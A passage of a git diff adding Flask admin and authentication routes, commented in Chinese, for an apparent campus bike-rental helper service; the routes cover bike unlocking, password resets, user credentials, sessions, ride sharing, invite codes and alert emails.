dt.timedelta(minutes=duration) + + cursor.execute(""" + INSERT INTO rentals (id, order_id, bike_code, email, user_id, start_time, end_time, + duration, expired, source) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0, 'unlock') + """, (int(order_id), order_id, code, user["email"], user_id, + now.strftime("%Y-%m-%d %H:%M:%S"), end.strftime("%Y-%m-%d %H:%M:%S"), + duration)) + conn.commit() + + from timer import start_rental_timer + start_rental_timer(rental_id=int(order_id), email=user["email"], + bike_code=code, duration_minutes=duration, user_id=user_id) + try: + from routes.rental import _record_rental_start + _record_rental_start(int(order_id), latitude, longitude) + except Exception as e: + print(f"[admin] 回填开锁起点失败: {e}") + conn.close() + return jsonify({"rtn_code": 0, "message": f"已为用户 {user['email']} 开锁车辆 {code}"}) + else: + conn.close() + return jsonify({"rtn_code": open_result.get("rtn_code", 500), + "message": open_result.get("message", "开锁失败")}) + + +@bp.route("/api/admin/user/rental_settings", methods=["POST"]) +@admin_required +def admin_api_user_rental_settings(): + """管理员修改指定用户的用车策略。""" + data = request.get_json(silent=True) or {} + try: + user_id = int(data.get("user_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 user_id"}) + try: + settings = normalize_rental_settings(data) + except ValueError as exc: + return jsonify({"rtn_code": 400, "message": str(exc)}) + if not save_user_rental_settings(user_id, settings): + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + from timer import reschedule_user_rental_timers + reschedule_user_rental_timers(user_id, apply_duration=True) + return jsonify({"rtn_code": 0, "message": "用户用车设置已保存", "data": settings}) + + +@bp.route("/api/admin/token") +@admin_required +def admin_api_get_token(): + from wechat import get_token_config + return jsonify({"rtn_code": 0, "data": get_token_config()}) + + +@bp.route("/api/admin/token", methods=["POST"]) +@admin_required +def admin_api_save_token(): + data = request.get_json() or {} + token_id = data.get("token_id", "").strip() + access_token = data.get("access_token", "").strip() + if not token_id: + return jsonify({"rtn_code": 400, "message": "缺少参数"}) + from wechat import save_token_config + if save_token_config(token_id, access_token): + return jsonify({"rtn_code": 0, "message": "全局凭据已保存"}) + return jsonify({"rtn_code": 500, "message": "保存失败"}) + + +@bp.route("/api/admin/strict_mode", methods=["GET"]) +@admin_required +def admin_api_get_strict_mode(): + """查询上游强签名验证开关状态""" + from wechat import is_strict_mode + return jsonify({"rtn_code": 0, "data": {"enabled": is_strict_mode()}}) + + +@bp.route("/api/admin/strict_mode", methods=["POST"]) +@admin_required +def admin_api_set_strict_mode(): + """开关上游强签名验证:开启后,未填写 AccessToken 的凭据将被拒绝发起上游请求""" + data = request.get_json() or {} + enabled = bool(data.get("enabled")) + from wechat import set_strict_mode + if set_strict_mode(enabled): + return jsonify({"rtn_code": 0, + "message": "强签名验证已开启" if enabled else "强签名验证已关闭", + "data": {"enabled": enabled}}) + return jsonify({"rtn_code": 500, "message": "保存失败"}) + + +@bp.route("/api/admin/user/password", methods=["POST"]) +@admin_required +def admin_api_reset_password(): + """管理员强制重置某用户密码(仅更新密码哈希,不清空其登录会话)""" + data = request.get_json() or {} + try: + user_id = int(data.get("user_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 user_id"}) + password = str(data.get("password", "")) + if len(password) < 6: + return jsonify({"rtn_code": 400, "message": "新密码至少6位"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id, email FROM users WHERE id = ?", (user_id,)) + user = cursor.fetchone() + if not user: + conn.close() + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + + cursor.execute("UPDATE users SET password_hash = ? WHERE id = ?", + (hash_password(password), user_id)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": f"已重置用户 {user['email']} 的密码"}) + + +@bp.route("/api/admin/user/delete", methods=["POST"]) +@admin_required +def admin_api_delete_user(): + """删除用户账号。仅删除账号本身及其登录会话、提醒、共享关系, + 保留订单(rentals)记录以免影响统计/历史。若有进行中/已超时的未完成订单则拒绝删除。""" + data = request.get_json() or {} + try: + user_id = int(data.get("user_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 user_id"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id, email FROM users WHERE id = ?", (user_id,)) + user = cursor.fetchone() + if not user: + conn.close() + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + + # 保护:存在未完成的订单(进行中/已超时,即 expired=0)时不删除,避免破坏进行中的用车流程 + cursor.execute( + "SELECT COUNT(*) AS c FROM rentals WHERE user_id = ? AND expired = 0", (user_id,)) + if cursor.fetchone()["c"]: + conn.close() + return jsonify({"rtn_code": 400, "message": "该用户存在进行中/已超时的订单,请先代还车后再删除"}) + + # 删除该用户的登录会话、提醒及共享相关记录(防止残留无效引用) + cursor.execute("DELETE FROM sessions WHERE user_id = ?", (user_id,)) + cursor.execute("DELETE FROM reminders WHERE user_id = ?", (user_id,)) + cursor.execute("DELETE FROM share_requests WHERE from_user_id = ? OR to_user_id = ?", + (user_id, user_id)) + cursor.execute("DELETE FROM shares WHERE owner_user_id = ? OR rider_user_id = ?", + (user_id, user_id)) + cursor.execute("DELETE FROM share_usage WHERE owner_user_id = ? OR rider_user_id = ?", + (user_id, user_id)) + # 订单(rentals)记录保留,仅解除 user_id 外键关联,避免影响统计/历史 + cursor.execute("UPDATE rentals SET user_id = NULL WHERE user_id = ?", (user_id,)) + + # 停掉该用户的订单检测守护线程(其会依赖 user 的凭据做轮询) + try: + from timer import stop_user_order_checker + stop_user_order_checker(user_id) + except Exception: + pass + + cursor.execute("DELETE FROM users WHERE id = ?", (user_id,)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": f"已删除用户 {user['email']}"}) + + +# ===================================================================== +# 用户凭据(token_id / access_token) 查看与修改 +# ===================================================================== + +@bp.route("/api/admin/user/upstream_info", methods=["POST"]) +@admin_required +def admin_api_user_upstream_info(): + """用该用户自己的 token 查询上游 /user/info,返回基本个人信息 + (姓名/手机/年级/专业/学院/学号等),供管理面板用户表展示。""" + data = request.get_json(silent=True) or {} + try: + user_id = int(data.get("user_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 user_id"}) + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT email FROM users WHERE id = ?", (user_id,)) + row = cur.fetchone() + conn.close() + if not row: + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + + result = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + if result.get("rtn_code") != 0: + return jsonify({"rtn_code": result.get("rtn_code", 500), + "message": result.get("message", "查询失败")}) + d = result.get("data", {}) or {} + + def _as_dict(value): + if isinstance(value, dict): + return value + if isinstance(value, str) and value.strip(): + try: + parsed = json.loads(value) + return parsed if isinstance(parsed, dict) else {} + except Exception: + return {} + return {} + + account = _as_dict(d.get("account")) + student = _as_dict(_as_dict(d.get("student")).get("info")) + + info = { + "true_name": d.get("trueName") or account.get("trueName") or "", + "nick_name": d.get("nickName") or "", + "gender": d.get("genderName") or "", + "mobile": d.get("user_mobile") or d.get("mobile") or "", + "school": student.get("schoolName") or d.get("schoolName") or "", + "college": student.get("collegeName") or "", + "major": student.get("professionName") or "", + "grade": student.get("admissionTimeName") or str(student.get("admissionTime") or ""), + "qualification": student.get("qualificationName") or "", + "student_no": student.get("cardNo") or "", + } + return jsonify({"rtn_code": 0, "data": info}) + + +@bp.route("/api/admin/user/credentials", methods=["POST"]) +@admin_required +def admin_api_user_credentials(): + """查看单个用户的完整凭据信息(供 admin 页面在编辑弹窗中预填)""" + data = request.get_json(silent=True) or request.args + try: + user_id = int(data.get("user_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 user_id"}) + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + row = cur.fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + info = dict(row) + # 不向前端回传密码哈希 + info.pop("password_hash", None) + conn.close() + return jsonify({"rtn_code": 0, "data": info}) + + +@bp.route("/api/admin/user/credentials/save", methods=["POST"]) +@admin_required +def admin_api_user_credentials_save(): + """管理员修改某用户的 token_id / access_token(即微信凭据)。 + 保存后重启该用户的订单检测守护线程以使用新凭据。""" + data = request.get_json() or {} + try: + user_id = int(data.get("user_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 user_id"}) + access_token = str(data.get("access_token", "")).strip() + token_id = str(data.get("token_id", "")).strip() + + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT id, email FROM users WHERE id = ?", (user_id,)) + user = cur.fetchone() + if not user: + conn.close() + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + cur.execute( + "UPDATE users SET access_token = ?, token_id = ? WHERE id = ?", + (access_token or None, token_id or None, user_id) + ) + conn.commit() + conn.close() + + # 凭据变化时重启订单检测线程 + try: + from timer import start_user_order_checker, stop_user_order_checker + if token_id: + stop_user_order_checker(user_id) + start_user_order_checker(user_id) + else: + stop_user_order_checker(user_id) + except Exception as e: + print(f"[admin] 凭据保存后重启订单检测失败: {e}") + + try: + from routes.rental import _user_info_cache + _user_info_cache.pop(user_id, None) # 凭据变了,订单状态缓存立即失效 + except Exception: + pass + + return jsonify({"rtn_code": 0, "message": f"已更新用户 {user['email']} 的微信凭据"}) + + +# ===================================================================== +# 登录会话:查看 / 强制下线 +# ===================================================================== + +@bp.route("/api/admin/sessions") +@admin_required +def admin_api_sessions(): + """列出所有登录会话(含设备信息与所属用户)""" + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT s.id, s.user_id, s.token, s.expires_at, s.created_at, + s.device_name, s.device_id, s.user_agent, s.last_active, + u.email AS user_email + FROM sessions s + LEFT JOIN users u ON u.id = s.user_id + ORDER BY s.last_active IS NULL, s.last_active DESC + """) + rows = [] + for r in cur.fetchall(): + d = dict(r) + # 只回传掩码,防止管理员后台被 XSS/越权读取后直接接管用户会话; + # 强制下线请用 session_id。 + d["token_mask"] = (d["token"][:8] + "…") if d.get("token") else "" + d.pop("token", None) + rows.append(d) + conn.close() + return jsonify({"rtn_code": 0, "data": rows}) + + +@bp.route("/api/admin/session/revoke", methods=["POST"]) +@admin_required +def admin_api_session_revoke(): + """强制下线某登录会话(按 session 行 id 或 token)""" + data = request.get_json() or {} + session_id = data.get("session_id") + token = str(data.get("token", "")).strip() + conn = get_db() + cur = conn.cursor() + if session_id: + try: + cur.execute("SELECT id, user_id, token FROM sessions WHERE id = ?", (int(session_id),)) + except (TypeError, ValueError): + conn.close() + return jsonify({"rtn_code": 400, "message": "无效的 session_id"}) + elif token: + cur.execute("SELECT id, user_id, token FROM sessions WHERE token = ?", (token,)) + else: + conn.close() + return jsonify({"rtn_code": 400, "message": "缺少 session_id 或 token"}) + + row = cur.fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 404, "message": "会话不存在"}) + # 删除该会话行;其 auth_token 将随即失效 + cur.execute("DELETE FROM sessions WHERE id = ?", (row["id"],)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已强制下线该设备"}) + + +# ===================================================================== +# 共享绑定关系管理 +# ===================================================================== + +def _share_rows_query(extra_where="", params=()): + conn = get_db() + cur = conn.cursor() + cur.execute(f""" + SELECT s.*, + o.email AS owner_email, r.email AS rider_email + FROM shares s + LEFT JOIN users o ON o.id = s.owner_user_id + LEFT JOIN users r ON r.id = s.rider_user_id + {extra_where} + ORDER BY s.id DESC + """, params) + rows = [dict(x) for x in cur.fetchall()] + conn.close() + return rows + + +@bp.route("/api/admin/shares") +@admin_required +def admin_api_shares(): + """列出所有共享绑定关系(含已解绑历史),并附带备注与今日/累计使用次数""" + status = request.args.get("status", "all") # all | active | unbound + extra = "" + params = () + if status in ("active", "unbound"): + extra = "WHERE s.status = ?" + params = (status,) + rows = _share_rows_query(extra, params) + from routes.share import _get_usage, _today_str + today = _today_str() + for r in rows: + r["used_today"] = _get_usage(r["owner_user_id"], r["rider_user_id"], today) + return jsonify({"rtn_code": 0, "data": rows}) + + +@bp.route("/api/admin/share/permissions", methods=["POST"]) +@admin_required +def admin_api_share_permissions(): + """管理员修改某条共享关系的权限(每日次数/是否需卡/卡余下限)""" + data = request.get_json() or {} + try: + share_id = int(data.get("share_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 share_id"}) + from routes.share import _get_share_by_id + share = _get_share_by_id(share_id) + if not share: + return jsonify({"rtn_code": 404, "message": "共享关系不存在"}) + try: + daily_limit = max(0, min(99, int(data.get("daily_limit", share["daily_limit"])))) + except (TypeError, ValueError): + daily_limit = share["daily_limit"] + require_card = 1 if data.get("require_card", bool(share["require_card"])) in (True, 1, "1", "true") else 0 + try: + card_min_times = max(0, min(999, int(data.get("card_min_times", share["card_min_times"])))) + except (TypeError, ValueError): + card_min_times = share["card_min_times"] + + conn = get_db() + cur = conn.cursor() + cur.execute(""" + UPDATE shares SET daily_limit = ?, require_card = ?, card_min_times = ?, + updated_at = CURRENT_TIMESTAMP WHERE id = ? + """, (daily_limit, require_card, card_min_times, share_id)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "共享权限已更新"}) + + +@bp.route("/api/admin/share/remark", methods=["POST"]) +@admin_required +def admin_api_share_remark(): + """管理员设置某条共享关系双方的备注(昵称)。 + field = owner_remark | rider_remark;remark 传空串清除。""" + data = request.get_json() or {} + try: + share_id = int(data.get("share_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 share_id"}) + field = str(data.get("field", "owner_remark")) + if field not in ("owner_remark", "rider_remark"): + return jsonify({"rtn_code": 400, "message": "field 必须为 owner_remark 或 rider_remark"}) + remark = str(data.get("remark", "")).strip() + if len(remark) > 50: + return jsonify({"rtn_code": 400, "message": "备注最多50字"}) + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT id FROM shares WHERE id = ?", (share_id,)) + if not cur.fetchone(): + conn.close() + return jsonify({"rtn_code": 404, "message": "共享关系不存在"}) + cur.execute(f"UPDATE shares SET {field} = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?", + (remark or None, share_id)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "备注已保存" if remark else "备注已清除"}) + + +@bp.route("/api/admin/share/unbind", methods=["POST"]) +@admin_required +def admin_api_share_unbind(): + """管理员解绑共享关系(软删除:置 status=unbound)""" + data = request.get_json() or {} + try: + share_id = int(data.get("share_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 share_id"}) + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT id, status FROM shares WHERE id = ?", (share_id,)) + row = cur.fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 404, "message": "共享关系不存在"}) + if row["status"] == "unbound": + conn.close() + return jsonify({"rtn_code": 400, "message": "该共享关系已解绑"}) + # 解绑后,若对方正骑着车,则由 timer 自动还车;此处仅更新关系状态 + cur.execute(""" + UPDATE shares SET status = 'unbound', unbound_by = NULL, updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (share_id,)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已解绑该共享关系"}) + + +@bp.route("/api/admin/share/reactivate", methods=["POST"]) +@admin_required +def admin_api_share_reactivate(): + """把已解绑的共享关系重新激活(恢复为 active,保留原权限/备注)""" + data = request.get_json() or {} + try: + share_id = int(data.get("share_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 share_id"}) + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT id, status FROM shares WHERE id = ?", (share_id,)) + row = cur.fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 404, "message": "共享关系不存在"}) + if row["status"] == "active": + conn.close() + return jsonify({"rtn_code": 400, "message": "该共享关系已是激活状态"}) + cur.execute(""" + UPDATE shares SET status = 'active', unbound_by = NULL, updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (share_id,)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已重新激活该共享关系"}) + + +# ===================================================================== +# 共享申请(share_requests) 管理 +# ===================================================================== + +@bp.route("/api/admin/share_requests") +@admin_required +def admin_api_share_requests(): + """列出所有共享申请(含状态与双方邮箱)""" + status = request.args.get("status", "all") + conn = get_db() + cur = conn.cursor() + extra = "" + params = () + if status in ("pending", "accepted", "rejected", "cancelled"): + extra = "WHERE sr.status = ?" + params = (status,) + cur.execute(f""" + SELECT sr.id, sr.from_user_id, sr.to_user_id, sr.status, sr.created_at, sr.updated_at, + fu.email AS from_email, tu.email AS to_email + FROM share_requests sr + LEFT JOIN users fu ON fu.id = sr.from_user_id + LEFT JOIN users tu ON tu.id = sr.to_user_id + {extra} + ORDER BY sr.id DESC + """, params) + rows = [dict(r) for r in cur.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": rows}) + + +@bp.route("/api/admin/share_request/respond", methods=["POST"]) +@admin_required +def admin_api_share_request_respond(): + """管理员代替车主接受/拒绝一条待处理共享申请。 + 接受时会为该 (owner=to_user, rider=from_user) 建立/激活共享关系。""" + data = request.get_json() or {} + try: + req_id = int(data.get("request_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 request_id"}) + accept = bool(data.get("accept")) + + from routes.share import DEFAULT_DAILY_LIMIT, DEFAULT_REQUIRE_CARD, DEFAULT_CARD_MIN_TIMES + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT * FROM share_requests WHERE id = ?", (req_id,)) + req = cur.fetchone() + if not req: + conn.close() + return jsonify({"rtn_code": 404, "message": "申请不存在"}) + if req["status"] != "pending": + conn.close() + return jsonify({"rtn_code": 400, "message": "该申请已处理"}) + + if not accept: + cur.execute(""" + UPDATE share_requests SET status = 'rejected', updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (req_id,)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已拒绝该申请"}) + + owner_id = req["to_user_id"] + rider_id = req["from_user_id"] + cur.execute("SELECT * FROM shares WHERE owner_user_id = ? AND rider_user_id = ?", + (owner_id, rider_id)) + share = cur.fetchone() + if share and share["status"] == "active": + conn.close() + return jsonify({"rtn_code": 400, "message": "共享关系已存在"}) + if share: + cur.execute(""" + UPDATE shares SET status = 'active', daily_limit = ?, require_card = ?, card_min_times = ?, + unbound_by = NULL, updated_at = CURRENT_TIMESTAMP WHERE id = ? + """, (DEFAULT_DAILY_LIMIT, DEFAULT_REQUIRE_CARD, DEFAULT_CARD_MIN_TIMES, share["id"])) + else: + cur.execute(""" + INSERT INTO shares (owner_user_id, rider_user_id, daily_limit, require_card, card_min_times, status) + VALUES (?, ?, ?, ?, ?, 'active') + """, (owner_id, rider_id, DEFAULT_DAILY_LIMIT, DEFAULT_REQUIRE_CARD, DEFAULT_CARD_MIN_TIMES)) + cur.execute(""" + UPDATE share_requests SET status = 'accepted', updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (req_id,)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已接受该申请并建立共享关系"}) + + +# ===================================================================== +# 共享使用次数(share_usage) 查看 +# ===================================================================== + +@bp.route("/api/admin/share_usage") +@admin_required +def admin_api_share_usage(): + """列出共享每日使用次数记录""" + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT su.*, o.email AS owner_email, r.email AS rider_email + FROM share_usage su + LEFT JOIN users o ON o.id = su.owner_user_id + LEFT JOIN users r ON r.id = su.rider_user_id + ORDER BY su.use_date DESC, su.id DESC + LIMIT 500 + """) + rows = [dict(x) for x in cur.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": rows}) + + +# ===================================================================== +# 提醒记录 / 采集快照 查看 +# ===================================================================== + +@bp.route("/api/admin/reminders") +@admin_required +def admin_api_reminders(): + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT rm.id, rm.user_id, rm.bike_code, rm.email, rm.duration, + rm.start_time, rm.created_at, u.email AS user_email + FROM reminders rm + LEFT JOIN users u ON u.id = rm.user_id + ORDER BY rm.id DESC LIMIT 300 + """) + rows = [dict(r) for r in cur.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": rows}) + + +@bp.route("/api/admin/snapshots") +@admin_required +def admin_api_snapshots(): + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT id, snapshot_time, total_bikes, available_count, inuse_count, + locked_count, reserved_count, low_count, source, recorded_at + FROM snapshots ORDER BY id DESC LIMIT 200 + """) + rows = [dict(r) for r in cur.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": rows}) + + +# ===================================================================== +# 注册邀请码管理 +# ===================================================================== + +@bp.route("/api/admin/invite_codes") +@admin_required +def admin_api_invite_codes(): + return jsonify({"rtn_code": 0, "data": list_invite_codes()}) + + +@bp.route("/api/admin/invite_codes/generate", methods=["POST"]) +@admin_required +def admin_api_invite_generate(): + """批量签发邀请码。count 1-50,max_uses 1-999(每个码可注册次数)。""" + data = request.get_json() or {} + try: + count = max(1, min(50, int(data.get("count", 1)))) + max_uses = max(1, min(999, int(data.get("max_uses", 1)))) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "count/max_uses 必须是整数"}) + note = str(data.get("note", "")).strip() + codes = create_invite_codes(count, max_uses, note) + return jsonify({"rtn_code": 0, "message": f"已生成 {len(codes)} 个邀请码", + "data": {"codes": codes}}) + + +@bp.route("/api/admin/invite_codes/toggle", methods=["POST"]) +@admin_required +def admin_api_invite_toggle(): + """启用/停用邀请码""" + data = request.get_json() or {} + try: + code_id = int(data.get("id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 id"}) + disabled = bool(data.get("disabled")) + if not set_invite_code_disabled(code_id, disabled): + return jsonify({"rtn_code": 404, "message": "邀请码不存在"}) + return jsonify({"rtn_code": 0, "message": "已停用" if disabled else "已启用"}) + + +@bp.route("/api/admin/invite_codes/delete", methods=["POST"]) +@admin_required +def admin_api_invite_delete(): + data = request.get_json() or {} + try: + code_id = int(data.get("id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 id"}) + if not delete_invite_code(code_id): + return jsonify({"rtn_code": 404, "message": "邀请码不存在"}) + return jsonify({"rtn_code": 0, "message": "已删除"}) + + +# ===================================================================== +# 校园地点:教学楼(POI) / 停车区(点/圆/多边形) +# ===================================================================== + +@bp.route("/api/admin/upstream_map") +@admin_required +def admin_api_upstream_map(): + """上游 /project/map 原始数据(bicycleStation/driverArea/parkeArea), + 供校园地点编辑器作参考底图。服务端用全局凭据代理,管理页无需用户登录态; + 全局凭据失效时原样返回 102001,由前端提示但不影响地点编辑。""" + from wechat import request_api + result = request_api("GET", "/project/map", params={"type": "3"}) + return jsonify(result) + + +def _campus_normalize(data: dict) -> dict: + """校验地点输入。两类都是「单点」模型: + - poi(楼/兴趣点):只要坐标点,radius 强制为空(起终点按最近距离归属,不需要范围) + - parking(停车点):坐标点 + 统计半径(默认 150m),只服务订阅「附近有没有车」 + """ + name = str(data.get("name", "")).strip() + if not name: + raise ValueError("名称不能为空") + if len(name) > 30: + raise ValueError("名称最多 30 字") + kind = str(data.get("kind", "poi")).strip() + if kind not in ("poi", "parking"): + kind = "poi" + + lat = data.get("latitude") + lng = data.get("longitude") + try: + lat = float(lat) if lat is not None else None + lng = float(lng) if lng is not None else None + except (TypeError, ValueError): + raise ValueError("坐标无效") + if lat is None or lng is None: + raise ValueError("请在地图上点选位置(楼与停车点都需要坐标)") + if not (-90 <= lat <= 90) or not (-180 <= lng <= 180): + raise ValueError("坐标超出有效范围") + + radius = None + if kind == "parking": + raw = data.get("radius") + if raw in (None, ""): + radius = 150 + else: + try: + radius = max(10, min(2000, int(float(raw)))) + except (TypeError, ValueError): + radius = 150 + + return {"name": name, "kind": kind, "latitude": lat, "longitude": lng, + "radius": radius, "polygon": None} + + +@bp.route("/api/admin/campus/save", methods=["POST"]) +@admin_required +def admin_api_campus_save(): + """新增/更新地点。body: {id?, name, kind, latitude, longitude, radius?, polygon?} + 坐标统一 GCJ02(前端点选 BD09 后先转 GCJ02 再提交)。""" + data = request.get_json(silent=True) or {} + try: + fields = _campus_normalize(data) + except ValueError as exc: + return jsonify({"rtn_code": 400, "message": str(exc)}) + conn = get_db() + cur = conn.cursor() + location_id = data.get("id") + if location_id not in (None, "", 0): + try: + location_id = int(location_id) + except (TypeError, ValueError): + conn.close() + return jsonify({"rtn_code": 400, "message": "id 无效"}) + cur.execute("""UPDATE campus_locations + SET name=?, kind=?, latitude=?, longitude=?, radius=?, polygon=? + WHERE id=?""", + (fields["name"], fields["kind"], fields["latitude"], + fields["longitude"], fields["radius"], fields["polygon"], location_id)) + if cur.rowcount == 0: + conn.close() + return jsonify({"rtn_code": 404, "message": "地点不存在"}) + message = "地点已更新" + else: + cur.execute("""INSERT INTO campus_locations (name, kind, latitude, longitude, radius, polygon) + VALUES (?, ?, ?, ?, ?, ?)""", + (fields["name"], fields["kind"], fields["latitude"], + fields["longitude"], fields["radius"], fields["polygon"])) + location_id = cur.lastrowid + message = "地点已添加" + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": message, "data": {"id": location_id}}) + + +@bp.route("/api/admin/campus/delete", methods=["POST"]) +@admin_required +def admin_api_campus_delete(): + data = request.get_json(silent=True) or {} + try: + location_id = int(data.get("id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少有效的 id"}) + conn = get_db() + cur = conn.cursor() + cur.execute("DELETE FROM campus_locations WHERE id = ?", (location_id,)) + deleted = cur.rowcount + # 引用该地点的订阅规则退化为"无地点",需用户重新选择 + cur.execute("UPDATE subscribe_rules SET enabled = 0, location_id = NULL WHERE location_id = ?", + (location_id,)) + conn.commit() + conn.close() + if not deleted: + return jsonify({"rtn_code": 404, "message": "地点不存在"}) + return jsonify({"rtn_code": 0, "message": "地点已删除(引用它的订阅规则已停用)"}) + + +# ===================================================================== +# 告警配置(管理端告警邮箱) +# ===================================================================== + +@bp.route("/api/admin/alert_config", methods=["GET"]) +@admin_required +def admin_api_alert_config(): + import alerts + return jsonify({"rtn_code": 0, "data": { + "alert_emails": alerts.get_alert_emails(), + }}) + + +@bp.route("/api/admin/alert_config", methods=["POST"]) +@admin_required +def admin_api_alert_config_save(): + import re as _re + import alerts + data = request.get_json(silent=True) or {} + raw = data.get("emails") + if isinstance(raw, str): + raw = raw.replace(";", ",").replace("\n", ",").split(",") + cleaned = [str(e).strip().lower() for e in (raw or []) if str(e).strip()] + for email in cleaned: + if not _re.match(r'^[\w\.-]+@[\w\.-]+\.\w+$', email): + return jsonify({"rtn_code": 400, "message": f"邮箱格式不正确: {email}"}) + count = alerts.set_alert_emails(cleaned) + return jsonify({"rtn_code": 0, "message": f"已保存 {count} 个告警邮箱(三类告警:1天/1小时/已过期)", + "data": {"alert_emails": cleaned}}) + + +@bp.route("/api/admin/alert_test", methods=["POST"]) +@admin_required +def admin_api_alert_test(): + """发送一封测试告警,验证配置是否生效。""" + import alerts + from email_utils import render_email_safe, send_email + recipients = alerts.get_alert_emails() + if not recipients: + return jsonify({"rtn_code": 400, "message": "尚未配置告警邮箱"}) + plain = ("这是一封测试告警邮件。收到即说明告警邮箱配置正确。\n" + "正式告警:凭据 1 天/1 小时过期、已过期、采集连续失败。") + html_body = render_email_safe( + kicker="小白超人 · 系统告警", title="测试告警邮件", + lead="收到这封邮件,说明管理端告警邮箱配置正确,后续系统异常会照此样式推送。", + details=[("邮件类型", "配置验证(非真实告警)"), + ("正式告警范围", "凭据 1 天过期 / 1 小时过期 / 已过期 / 采集连续失败")], + accent="#dc2626", + footnote="这是系统自动发送的告警测试邮件。", + ) + ok_all = True + for to in recipients: + ok = send_email(to, "【小白超人·告警】测试邮件", plain, html_body) + ok_all = ok_all and ok + if ok_all: + return jsonify({"rtn_code": 0, "message": f"测试邮件已发送至 {len(recipients)} 个邮箱"}) + return jsonify({"rtn_code": 500, "message": "部分邮箱发送失败,请查看服务日志"}) diff --git a/routes/auth.py b/routes/auth.py new file mode 100644 index 0000000..139f5ec --- /dev/null +++ b/routes/auth.py @@ -0,0 +1,743 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""用户认证路由""" +import re +import hashlib +import secrets +import threading +import time +from flask import Blueprint, jsonify, request + +from db import (get_db, get_user_rental_settings, normalize_rental_settings, + save_user_rental_settings, consume_invite_code, get_user_alert_email) +from wechat import request_with_user_auth +import email_verify +import rate_limit + +bp = Blueprint("auth", __name__) + + +# ========== 简易限流(内存版,单进程足够) ========== +# 登录:同一 (IP, 邮箱) 连续失败 5 次锁定 15 分钟 +# 注册:同一 IP 每小时最多 5 次注册 +_rl_lock = threading.Lock() +_login_fail: dict = {} # (ip, email) -> [fail_count, first_fail_ts] +_register_ips: dict = {} # ip -> [count, window_start_ts] +LOGIN_MAX_FAILS = 5 +LOGIN_LOCK_SECONDS = 15 * 60 +REGISTER_MAX_PER_HOUR = 5 + + +def _client_ip() -> str: + """获取真实客户端 IP。 + + 本服务部署在 nginx 反代之后(HTTP 直连本机),取 IP 的规则: + - 仅当请求来自本机回环(nginx 与本服务同机部署)时,才信任代理注入的头: + 优先 X-Real-IP,其次 X-Forwarded-For 的最右一项; + - 其余来源(含内网直连)一律使用 remote_addr, + 防止局域网/直连客户端伪造 X-Real-IP 绕过限流与登录锁定。""" + remote = request.remote_addr or "" + if remote in ("127.0.0.1", "::1"): + real = request.headers.get("X-Real-IP", "").strip() + if real: + return real + xff = request.headers.get("X-Forwarded-For", "").strip() + if xff: + return xff.split(",")[-1].strip() + return remote or "unknown" + + +def _strict_signature_required() -> bool: + """上游强签名验证是否开启(管理端开关)""" + from wechat import 